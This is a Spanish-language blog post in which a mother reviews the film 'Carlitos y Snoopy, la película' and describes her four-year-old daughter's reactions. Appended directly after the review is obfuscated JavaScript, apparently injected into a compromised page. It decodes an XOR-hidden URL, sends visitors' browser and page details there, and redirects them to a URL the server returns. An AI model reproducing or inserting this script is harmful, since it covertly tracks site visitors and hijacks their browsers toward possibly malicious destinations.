Si aún te queda algún hueco sin cubrir en las vacaciones de Navidad, deja un día libre en tu agenda para pasarte por un cine a ver Carlitos y Snoopy, la película. Risas, bailes, diálogos ingeniosos y ¡alguna que otra sorpresa con sabor spanish!

Hay tres tipos de películas: las que le gustan a Elena y a mamá, ni fu ni fa; con las que yo me lo paso bien, pero a mi gorda no le entusiasman, y la tercera categoría, las que nos encantan a las dos, y ese ha sido el caso de Carlitos y Snoopy, la película (en cines desde 25 de diciembre).

Y sé que a Elena le gustó porque me dijo al salir de la sala: “Mi personaje favorito es la niña pelirroja”. La niña en cuestión es nueva en el colegio, en el barrio y el nuevo amor de Carlitos, al que intentará conquistar con la ayuda de su perro. Apenas habla en toda la cinta, pero se la presenta como enigmática y dulce, y claro, eso para una niña de cuatro años es lo más. Además me describió, sin yo pedírselo, lo que vio: “Había unos niños que quedaban para patinar. Y luego había un baile y una chica muy guapa. Y estaba Carlitos y su perrito”. Y el último indicativo: al día siguiente me pidió que bajáramos al parque a volar una cometa, como hace Carlitos durante toda la cinta sin mucho éxito en principio. Que 24 horas después de ver la película la siguiese teniendo en la cabeza creo que es un buen síntoma, ¿no?

Los mayores nos reímos un montón. Carlitos es un poco torpe y siempre le sale tooodoooo mal, pero a la vez es tierno, ingenuo y destaca por su generosidad con sus amigos. Quizás lo que más nos gustó de él fueron las frases de superación que lanzaba: “Voy a cambiar y convertirme en un triunfador”, aunque luego escondiera la cabeza o saliera corriendo cuando estaba punto de llamar al timbre de la casa de su “chica”. ¿Quién no ha vivido algo parecido alguna vez, bien sea en el amor o en el trabajo? Y aunque suena raro, solo le pondría una pega a este título y curiosamente es al papel de Snoopy. Coprotagonista de la cinta, tiene una historia paralela a la de Carlitos que, por momentos, puede resultar un poco pesada. Y, para terminar, sin duda tengo destacar la “animación de última generación en 3D”, como señala la productora, que hace que los personajes tengan una textura muy especial y los movimientos, sobre todo de ojos, cejas y boca, parezcan totalmente reales.

Y si todavía te quedas con ganas de más Carlitos y Snoopy, aquí te dejo con el tráiler. ¡Hasta la próxima!var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}